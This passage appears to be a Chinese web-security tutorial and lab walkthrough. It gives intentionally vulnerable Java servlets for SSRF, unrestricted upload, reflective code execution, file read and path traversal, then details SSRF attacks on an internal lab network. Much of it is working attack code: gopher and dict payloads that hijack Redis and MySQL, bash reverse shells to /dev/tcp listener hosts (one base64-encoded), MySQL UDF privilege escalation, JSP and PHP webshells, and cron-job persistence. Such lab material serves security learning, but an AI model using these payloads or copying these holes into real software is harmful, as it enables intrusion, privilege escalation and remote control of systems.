http://localhost:9000/javasec/RaceCondition
输出no name。
带上参数访问:
http://localhost:9000/javasec/RaceCondition?username=江文
输出变成江文。
使用其他浏览器不带参数访问,输出还是江文。也就是说有其他的线程修改了成员变量的值。
修复:
不要在Servlet中使用成员变量。
实现SingleThreadModel接口(不建议,因为官方已经废弃了这个接口)。
SSRF
SSRF(Server-Side Request Forge, 服务端请求伪造),
攻击者让服务端发起指定的请求。
SSRF攻击的目标一般是从外网无法访问的内网系统。
Java中的SSRF支持sun.net.www.protocol里的所有协议:
- http
- https
- file
- ftp
- mailto
- jar
- netdoc
但是,相对于PHP, Java中SSRF的利用局限较大
(因为Java没有那么灵活),
一般利用http协议来探测端口,利用file协议读取任意文件。
典型代码(应该是最简单的SSRF,利用SSRF读文件):
package com.wen.javasec.controller;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
@WebServlet("/SSRF")
public class SSRFServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String url = req.getParameter("url");
if (url != null) {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
URLConnection httpUrl = urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));
String inputLine;
StringBuffer html = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
out.println("<xmp>");
out.print(html.toString());
out.println("</xmp>");
out.flush();
out.close();
in.close();
}
}
}
利用:
E盘根目录下放置flag.txt。
http://localhost:9000/javasec/SSRF?url=file:///E:/flag.txt
成功读取到flag.txt的内容。
修复:
跟PHP的SSRF一个修复方法。
以上代码如果加上强制类型转换,也可以使其失去读文件的功能:
URLConnection httpUrl = (HttpURLConnection) urlConnection;
文件上传
在Java中实现文件上传的代码比较复杂,一个典型的没有做任何过滤的文件上传Servlet代码如下:
package com.wen.javasec.controller;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.List;
@WebServlet("/FileUpload")
public class UploadServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
String root = req.getServletContext().getRealPath("/upload");
DiskFileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
try {
List<FileItem> list = upload.parseRequest(req);
for (FileItem it : list) {
if (!it.isFormField()) {
it.write(new File(root + "/" + it.getName()));
resp.getWriter().write("success");
}
}
} catch (Exception e) {
try {
resp.getWriter().write("exception");
} catch (IOException e1) {
e1.printStackTrace();
}
e.printStackTrace();
}
}
}
对应的JSP:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>File Upload</title>
</head>
<body>
<form method="post" action="${pageContext.request.contextPath}/FileUpload" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
</body>
</html>
访问/upload.jsp,什么都可以上传。
这方面的代码审计和PHP差不多,看看Upload-Labs,研究一下就行。
代码执行(Java反射机制)
这里分享一下如何利用Java反射机制,与上面的文件上传漏洞相配合,来达到代码执行的目的。
因为Java存在反射机制,可以在不重启服务器的情况下,动态加载用户上传的jar包。如果一个JavaWeb应用存在文件上传漏洞,我们成功上传了一个jar包和一个JSP文件,就可以在这个JSP文件中通过反射去加载这个jar包,进而执行其中的恶意代码。
这里写在Servlet里了。如果跟文件上传配合着来的话,建议写在JSP里:
package com.wen.javasec.controller;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
@WebServlet("/Reflect")
public class ReflectServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String url = req.getParameter("url");
String className = req.getParameter("class");
String methodName = req.getParameter("method");
String cmd = req.getParameter("cmd");
URL[] urls = new URL[] { new URL(url) };
URLClassLoader ucl = new URLClassLoader(urls);
try {
Class<?> cls = ucl.loadClass(className);
Method method = cls.getMethod(methodName, String.class);
String result = (String) method.invoke(cls.newInstance(), cmd);
if (result != null) {
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
out.print(result);
out.flush();
out.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
被加载的类,打成jar包:
import java.io.*;
public class Exec {
public String execution(String cmd) {
try {
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
int a = -1;
byte[] b = new byte[2048];
String result = "Result:";
while ((a = is.read(b)) != -1) {
result += new String(b);
}
return result;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
javac .\Exec.java
jar -cvf Exec.jar Exec.class
利用:
http://localhost:9000/javasec/Reflect?url=file:///E:/JavaWeb/jar/Exec.jar&class=Exec&method=execution&cmd=whoami
任意文件读取/目录遍历攻击
任意文件读取
读取任意文件,并显示:
package com.wen.javasec.controller;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
@WebServlet("/FileRead")
public class FileReadServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String url = req.getParameter("file");
if (url != null) {
File file = new File(url);
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = fis.read(b)) != -1) {
baos.write(b, 0, a);
}
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
out.print("<xmp>");
out.print(new String(baos.toByteArray()));
out.print("</xmp>");
fis.close();
}
}
}
利用:
http://localhost:9000/javasec/FileRead?file=E:///flag.txt
目录遍历攻击
package com.wen.javasec.controller;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
@WebServlet("/FileDownload")
public class FileDownloadServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String root = req.getServletContext().getRealPath("/upload");
String fileName = req.getParameter("file");
File file = new File(root + "/" + fileName);
FileInputStream fis = new FileInputStream(file);
resp.addHeader("Content-Disposition", "attachment;filename=" + new String(fileName.getBytes()));
resp.addHeader("Content-Length", "" + file.length());
byte[] b = new byte[fis.available()];
fis.read(b);
resp.getOutputStream().write(b);
}
}
对应的JSP:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Download</title>
</head>
<body>
<form action="${pageContext.request.contextPath}/FileDownload" method="get">
<label for="file">需要下载的文件名:</label>
<input type="text" name="file" id="file">
<input type="submit" value="submit">
</form>
</body>
</html>
利用:
http://localhost:9000/javasec/FileDownload?file=../WEB-INF/web.xml
或者直接在download.jsp的输入框里输入…/WEB-INF/web.xml也可以。
SSRF服务端请求伪造(Server-Side Request Forgery)
SSRF(Server-Side Request Forgery)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,
但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址根据后台使用的函数的不同,对应的影响和利用方法又有不一样
漏洞原理
应用层上的一个漏洞类型
比如
一个添加图文的功能,填入标题内容和封面图然后提交在网站前台显示,
对于这个功能的图片
它除了可以让你上传以外,还支持填入远程图片地址,
如果你填入了远程的图片地址,则该网站会加载远程图过来进行显示
而如果程序写法不严谨或者过滤不严格,则加载图片地址的这个功能可能就可以包含
进行一些恶意的脚本文件,或者你输入内网的 ip 或者一些系统的文件都会被解析执行,
这个我们一般叫它 SSRF 即服务端请求伪造。
而一般我们是无法请求到系统上的文件的,内网的 ip 我们也是无法访问的,
有了 SSRF 后,我们提交的加载连接是有服务器进行加载解析,
实际上相当于我们以存在 SSRF 这个服务器为跳板进行的一些加载操作,我们在附一张图加深理解。
比如说可以
1,加载外部的恶意木马文件执行
2,加载内部的敏感文件程序自身的敏感文件
3,来访问内网进行内网端口的扫描、获取内网设备信息、枚举内网服务等。
靶场设计拓扑图
攻击流程,
172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,
并且 80 端口映射到了公网的 8080,
此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。
覆盖了 SSRF 常见的攻击场景,
实际上 SSRF 还可以攻击 FTP、Zabbix分布式系统监视、Memcached分布式的高速缓存系统
等应用
PHP
下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
判断 SSRF 是否存在
能够对外发起网络请求的地方,就可能存在 SSRF。
首先看下目标站点的功能
获取站点快照:
x.x.x.x:8080
先尝试获取外网 URL 试试看,测试一下经典的 百度 robots.txt:
测试成功,网站请求了 Baidu 的 robots.txt 文件了,
并将请求页面的内容回显到了网站前端中。
那么接下来尝试获取内网 URL 看看,测试请求 127.0.0.1 看看会有什么反应:
测试依然成功,网站请求了 127.0.0.1 的 80 端口
我们浏览的界面,所以我们就看到了图片上的“套娃”现象。
通过以上两次请求,已经基本上可以确定这个输入框就是传说中的 SSRF 的漏洞点了,
即没有对用户的输入进行过滤,导致可以用来发起任意的内网或者外网的请求。
探测内网端口
172.72.23.1/24
SSRF 常配合 DICT 协议探测内网端口开放情况,
但不是所有的端口都可以被探测,
一般只能探测出一些带 TCP 回显的端口,
具体可以探测哪些端口需要大家自己动手去测试一下,
BP 下使用迭代器模式爆破,
设置好要爆破的 IP 和 端口即可批量探测出端口开放的信息:
通过爆破可以轻易地整理出端口的开放情况
除了使用 DICT 协议探测端口以外,
还可以使用正常的 HTTP 协议获取到内网中 Web 应用的信息情况
利用http协议对
存活ip,和端口
6379端口的内网ip地址
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379
目录扫描
如果想要利用 SSRF 漏洞对内网 Web 资产进行目录扫描的话,
使用传统的 dirsearch 等工具就不是很方便了,
这种场景下使用的是 Burpsuite 抓包,
然后导入字典批量遍历路径参数,请求包如下:
使用 Burpsuite 自带的 Grep - Extract
可以快速地筛选页面正则匹配的结果,
很明显这个 172.72.23.22 的内网站点下面还存在着 phpinfo.php 和 shell.php:
file协议读取本地 文件 信息
可以读取系统的一些存放密码的文件,
比如说linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者说ctf中的flag文件。
http://xxx.xxx.xx.xx/xx/xx.php?url=file:///etc/passwd
172.72.23.21
file:///etc/passwd
成功读取到了本地的文件信息,
现在尝试来获取存在 SSRF 漏洞的本机内网 IP 地址信息,确认当前资产的网段信息:
file:///etc/hosts
可以判断当前机器的内网地址为 172.23.23.21,
那么接下来就可以对这个内网资产段进行信息收集了。
权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况
反弹shell
redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送
定时程序路径是/var/spool/cron/root
post请求为:
POST /test/ssrf/post.php HTTP/1.1
Host: 192.168.220.139
User-Agent: curl/7.42.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
cmd=ccccc
bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
将其进行url两次编码,然后结合gopher协议和curl命令,payload
curl -v
'http://xxx.xxx.xx.xx/xx.php?
url=gopher://172.21.0.2:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261'
攻击 MySQL 未授权
内网中的mysql数据库存在无密码的用户,可结合gopher协议进行攻击。
172.72.23.29
MySQL 应用详情
MySQL 空密码可以登录,靶场在数据库下和系统下各放了一个 flag,
通过 SSRF 可以和数据库进行交互,SSRF 进行 UDF 提权可以拿到系统下的 flag:
获取原始数据包
MySQL 需要密码认证时,
服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;
但是当无需密码认证时直接发送 TCP/IP 数据包即可。
所以这种情况下是可以直接利用 SSRF 漏洞攻击 MySQL 的。
因为使用 gopher 协议进行攻击需要原始的 MySQL 请求的 TCP 数据包,
所以还是和攻击 Redis 应用一样,
这里我们使用 tcpdump 来监听抓取 3306 的认证的原始数据包:
# lo 回环接口网卡 -w 报错 pcapng 数据包
tcpdump -i lo port 3306 -w mysql.pcapng
然后本地使用 MySQL 来执行一些测试命令:
$ mysql -h127.0.0.1 -uroot -e "select * from flag.test union select user(),'www.sqlsec.com';"
+----------------+----------------------------------------+
| id | flag |
+----------------+----------------------------------------+
| 1 | flag{71***************************316} |
| root@127.0.0.1 | www.sqlsec.com |
+----------------+----------------------------------------+
中止 tcpdump 使用 Wireshark 打开 mysql.pcapng 数据包,
追踪 TCP 流 然后过滤出发给 3306 的数据:
保存为原始数据「Show data as Raw」,并且整理成 1 行:
a100000185a23f0000000001080000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f72640064035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c045f706964033530380f5f636c69656e745f76657273696f6e06352e362e3531095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d697420313d0000000373656c656374202a2066726f6d20666c61672e7465737420756e696f6e2073656c656374207573657228292c277777772e73716c7365632e636f6d270100000001
生成 gopher 数据流
然后使用如下的 Python3 脚本将数据转化为 url 编码:
import sys
def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
if __name__=="__main__":
s=sys.argv[1]
print(results(s))
运行效果如下:
查询数据库
本地 curl 请求这个 gopher 协议的数据包看看:
从图上可以看到 gopher 请求的数据包已经成功执行了,
user() 和 数据库中的 flag 都可查询出来了。
如果 curl 请求提示是一个二进制文件无法直接显示,
可以使用 --output 来输出到文件中,
然后手动 cat 文件同样也可以看到gopher 协议交互 MySQL 的执行结果:
$ curl gopher://127.0.0.1:3306/_xxx --output mysql_result
提权
SSRF 攻击 MySQL 仅仅查询数据意义不大,
不如直接 UDF 提权然后反弹 shell 出来更加直接,
下面尝试使用 SSRF 来 UDF 提权内网的 MySQL 应用,
关于 MySQL 更详细的文章可以参考 【国光大佬】之前MySQL 漏洞利用与提权
https://www.sqlsec.com/2020/11/mysql.html
首先来寻找 MySQL 的插件目录,原生的 MySQL 命令如下:
$ mysql -h127.0.0.1 -uroot -e "show variables like
'%plugin%';"
tcpdump 监听,使用 Wirshark 分析导出原始数据:
使用脚本将原始数据转换 gopher 协议,得到的数据如下:
curl gopher://127.0.0.1:3306/_%a2%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%65%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%33%35%35%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%35%31%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%20%00%00%00%03%73%68%6f%77%20%76%61%72%69%61%62%6c%65%73%20%6c%69%6b%65%20%0a%27%25%70%6c%75%67%69%6e%25%27%01%00%00%00%01
放入到 BP 中请求的话记得需要二次 URL 编码,可以直接获取到插件的目录信息 :
拿到 MySQL 的插件目录为:/usr/lib/mysql/plugin/
接着来写入动态链接库,原生的 MySQL 命令如下:
# 因为 payload 太长 这里就先进入 MySQL 控制台
$ mysql -h127.0.0.1 -uroot
MariaDB [(none)]> SELECT 0x7f454c460...省略大量payload...0000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
关于 UDF 提权的 UDF 命令可以参考【国光大佬】写的这个 UDF 提权辅助页面:
https://www.sqlsec.com/tools/udf.html
tcpdump 监听到的原始数据后,
转换 gopher 协议,SSRF 攻击写入动态链接库,
因为这个 gopher 协议的数据包非常长,BP 这边可能会出现 Waiting 卡顿的状态:
不过问题不大,实际上 udf.so 已经成功写入到 MySQL 的插件目录下了:
以此类推,创建自定义函数:
$ mysql -h127.0.0.1 -uroot -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"
最后通过创建的自定义函数并执行系统命令将 shell 弹出来,原生命令如下:
$ mysql -h127.0.0.1 -uroot -e "select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMi8yMzMzIDA+JjE=|base64 -d|bash -i')"
因为国光测试默认情况下弹不出来,所以这里将原始的 bash 反弹 shell 命令给编码了:
这个编码实际上就是 JS Base64 一下,国光我模仿国外的那个网站,大佬写了个页面
https://www.sqlsec.com/tools.html
tcpdump 监听到的原始数据后,转换 gopher 协议,
BP 二次编码请求一下,然后 SSRF 攻击成功弹出 shell:
靶场源码
另外附上了本次靶场的源码:
https://github.com/sqlsec/ssrf-vuls
有动手能力朋友的可以自行搭建,
参考资料
https://github.com/tarunkant/Gopherus
攻击fastcgi
php-fpm一般监听在127.0.0.1的9000端口上,当存在未授权访问漏洞时,利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
libcurl版本>=7.45.0(curl版本小于7.45.0时,gopher的%00会被截断)
知道服务器上任意一个php文件的绝对路径,例如/usr/local/lib/php/PEAR.php
CVE-2017-12615 Tomcat 任意写文件漏洞,
172.72.23.26
Tomcat 应用详情
本场景是一个 Tomcat 中间件,
存在 CVE-2017-12615 任意写文件漏洞,
这在 Tomcat 漏洞历史中也是比较经典第一个,
没有复现的同学可以参考 vulhub 的靶场来复现次漏洞:
Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615/README.zh-cn.md
和之前的场景类似,国光这里不再赘述了,所以这部分写的比较简略一些。
准备一个 JSP 一句话:
<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>
将原本攻击的 POST 数据包:
将个 POST 请求二次 URL 编码,
最后通过 SSRF 发起这个 POST 请求,返回 201 状态码表示成功写 shell:
接着通过 SSRF 发起对 shell.jsp 的 HTTP 请求,成功执行了 cat /etc/hosts 的命令:
XML 实体注入
172.72.23.25
XXE 应用详情
本版块属于上帝视角,主要作用是给读者朋友们展示一下应用本身正常的功能点情况,
这样后面直接使用 SSRF 来攻击的话,思路就会更加清晰明了。
本场景是一个基础的 XXE 外部实体注入场景,
登录的时候用户提交的 XML 数据,且服务器后端对 XML 数据解析并将结果输出,
所以可以构造一个 XXE 读取本地的敏感信息:
下面是 XXE 攻击的效果图:
和上一个场景 172.72.23.24 的命令执行类似,
这里 XXE 也是通过在 POST 数据包里面构造 Payload 来进行攻击的,
所以依然先来抓取正常情况下 XXE 攻击的 POST 请求的数据包,
删除掉 Accept-Encoding 这一行,然后使用 Burpsuite 对 POST 数据包进行两次 URL 编码:
两次 URL 编码后的数据就最终的 TCP 数据流,
最终 SSRF 完整的攻击请求的 POST 数据包如下:
可以看到通过 SSRF 成功攻击了 172.72.23.25 的 XXE Web 应用,
顺利执行了 cat /etc/hosts 的命令:
代码注入
代码注入应用详情
本版块属于上帝视角,主要作用是给读者朋友们展示一下应用本身正常的功能点情况,
这样后面直接使用 SSRF 来攻击的话,思路就会更加清晰明了。
index.php
一个正常的提示页面,啥都没有:
phpinfo.php
凑数勉强算是一个敏感文件吧:
shell.php
一个经典的 system 一句话木马:
因为这个一句话 webshell 使用了 GET 来接受请求,
所以可以直接使用 SSRF 的 HTTP 协议来发起 GET 请求,
直接给 cmd 参数传入命令值,导致命令直接执行:
使用浏览器提交请求的话,空格得写成%20才可以顺利执行命令 :
从 hosts 文件的结果可以看出,当前我们已经拿下了内网 172.72.23.22 这台机器的权限了。
如果从 BP 里面抓包请求的话,空格得写成%2520,即两次 URL 编码才可以顺利执行命令:
SQL 注入
SQL 注入应用详情
本版块属于上帝视角,主要作用是给读者朋友们展示一下应用本身正常的功能点情况,
这样后面直接使用 SSRF 来攻击的话,思路就会更加清晰明了。
基础的联合查询注入,可以直接带出数据库的相关信息:
同时也预设了一个 flag,同样通过联合查询也可以简单的查询出 flag 的值:
因为管理员(国光) 【这里感谢 国光兄弟】
不小心(故意)给网站目录设置了 777 权限,
所以这里可以尝试通过 MySQL 的 INTO DUMPFILE 直接往网站的目录下写 shell,
最终借助 SQL 注入的 UNION 注入来执行写shell 的 SQL 语句 payload 如下:
成功写 shell 后,浏览器直接访问执行命令看看:
利用 SSRF 来注入内网中存在 SQLI 的资产的话,
和上一个小节的 GET 型注入差不多,只要注意一些编码细节即可。
SSRF 之基础的联合查询注入,可以直接带出数据库的相关信息,
和正常注入差不多,只需要将空格进行两次 URL 编码即可:
同理直接注入出数据库中的 flag:
往网站的目录写通过 SQL 语句来写 shell:
写入 shell 成功后尝试直接来命令执行:
命令执行
命令执行应用详情
本版块属于上帝视角,主要作用是给读者朋友们展示一下应用本身正常的功能点情况,
这样后面直接使用 SSRF 来攻击的话,思路就会更加清晰明了。
172.72.23.24 是一个经典的命令执行,
通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数,从而导致任意命令执行:
这种场景和之前的攻击场景稍微不太一样,
之前的代码注入和 SQL 注入都是直接通过 GET 方式来传递参数进行攻击的,
但是这个命令执行的场景是通过 POST 方式触发的,
我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据,
这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了
,gopher 的基本请求格式如下:
gopher 协议是一个古老且强大的协议,
从请求格式可以看出来,可以传递最底层的 TCP 数据流,
因为 HTTP 协议也是属于 TCP 数据层的,
所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。
首先来抓取正常情况下 POST 请求的数据包,删除掉 HTTP 请求的这一行:
Accept-Encoding: gzip, deflate
如果不删除的话,打出的 SSRF 请求会乱码,因为被两次 gzip 编码了。
两次 URL 编码后的数据就最终的 TCP 数据流,
最终 SSRF 完整的攻击请求的 POST 数据包如下:
可以看到通过 SSRF 成功攻击了 172.72.23.24 的命令执行 Web 应用,
顺利执行了 cat /etc/hosts 的命令:
攻击 Redis
172.72.23.27
Redis unauth 应用详情
内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务,
系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),
所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下:
# 清空 key
flushall
# 设置要操作的路径为定时任务目录
config set dir /var/spool/cron/
# 设置定时任务角色为 root
config set dbfilename root
# 设置定时任务内容
set x "\n* * * * * /bin/bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n"
# 保存操作
save
Redis unauth
SSRF 攻击的话并不能使用 redis-cli 来连接 Redis 进行攻击操作,
未授权的情况下可以使用 dict 或者 gopher 协议来进行攻击,
因为 gopher 协议构造比较繁琐,所以本场景建议直接使用 DICT 协议来攻击,
效率会高很多,
DICT 协议除了可以探测端口以外,
另一个奇技淫巧就是攻击未授权的 Redis 服务,格式如下:
dict://x.x.x.x:6379/<Redis 命令>
通过 SSRF 直接发起 DICT 请求,
可以成功看到 Redis 返回执行完 info 命令后的结果信息,
下面开始直接使用 dict 协议来创建定时任务来反弹 Shell:
# 清空 key
dict://172.72.23.27:6379/flushall
# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/
# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root
# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
# 保存上述操作
dict://172.72.23.27:6379/save
SSRF 传递的时候记得要把 & URL 编码为 %26,
上面的操作最好再 BP 下抓包操作,防止浏览器传输的时候被 URL 打乱编码
在目标系统上创建定时任务后,shell 也弹了出来,
查看下 cat /etc/hosts 的确是 172.72.23.27 这台内网机器:
- Redis auth
该 172.72.23.28 主机运行着 Redis 服务,但是有密码验证,无法直接未授权执行命令:
不过除了 6379 端口还开放了 80 端口,
是一个经典的 LFI 本地文件包含,可以利用此来读取本地的文件内容:
因为 Redis 密码记录在 redis.conf 配置文件中,
结合这个文件包含漏洞点,
那么这时来尝试借助文件包含漏洞来读取 redis 的配置文件信息,
Redis 常见的配置文件路径如下:
/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf
成功读取到 /etc/redis.conf 配置文件,
直接搜索 requirepass关键词来定位寻找密码:
拿到密码的话就可以正常和 Redis 进行交互了:
首先借助目标系统的 80 端口上的文件包含拿到 Redis 的密码:P@ssw0rd
有密码的话先使用 dict 协议进行密码认证看看:
但是因为 dict 不支持多行命令的原因,
这样就导致认证后的参数无法执行,
所以 dict 协议理论上来说是没发攻击带认证的 Redis 服务的。
那么只能使用我们的老伙计 gopher 协议了,gopher 协议因为需要原生数据包,
所以我们需要抓取到 Redis 的请求数据包。
可以使用 Linux 自带的 socat 命令来进行本地的模拟抓取:
命令来进行本地的模拟抓取:
socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379
此时使用 redis-cli 连接本地的 4444 端口:
➜ ~ redis-cli -h 127.0.0.1 -p 4444
127.0.0.1:4444>
服务器接着会把 4444 端口的流量接受并转发给服务器的 6379 端口,
然后认证后进行往网站目录下写入 shell 的操作:
# 认证 redis
127.0.0.1:4444> auth P@ssw0rd
OK
# 清空 key
127.0.0.1:4444> flushall
# 设置要操作的路径为网站根目录
127.0.0.1:4444> config set dir /var/www/html
# 在网站目录下创建 shell.php 文件
127.0.0.1:4444> config set dbfilename shell.php
# 设置 shell.php 的内容
127.0.0.1:4444> set x "\n<?php eval($_GET[1]);?>\n"
# 保存上述操作
127.0.0.1:4444> save
与此同时我们还可以看到详细的数据包情况,下面来记录一下关键的流量情况:
可以看到 Redis 的流量并不难理解,
可以根据上图橙色标记的注释来理解一下,接下来整理出关键的请求数据包如下:
*2\r
$4\r
auth\r
$8\r
P@ssw0rd\r
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$1\r
x\r
$25\r
<?php eval($_GET[1]);?>
\r
*1\r
$4\r
save\r
可以看到每行都是以\r结尾的,
但是 Redis 的协议是以 CRLF (\r\n)结尾,
所以转换的时候需要把\r转换为\r\n,
然后其他全部进行 两次 URL 编码,这里借助 BP 就很容易解决:
最后放到 SSRF 的漏洞点进行请求:
执行成功的话会在 /var/www/html 根目录下写入 shell.php 文件,
密码为 1,那么下面借助 SSRF 漏洞来试试看:
成功 getshell
发送redis命令,将反弹shell脚本写入/etc/crontab中,
crontab就是linux下的一个定时执行事件的一个程序。
还有两个定时服务文件是 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 。
通过header CRLF 注入
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,
但是我们可以通过传入`%0a%0d`来注入换行符,
而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
redis命令
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
采用的bash反弹,在ubuntu下不会反弹成功,CentOS可以反弹成功;路径采用的是/etc/crontab.
通过GET来发送命令的,因此要将上面的命令进行URL编码
payload
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379/
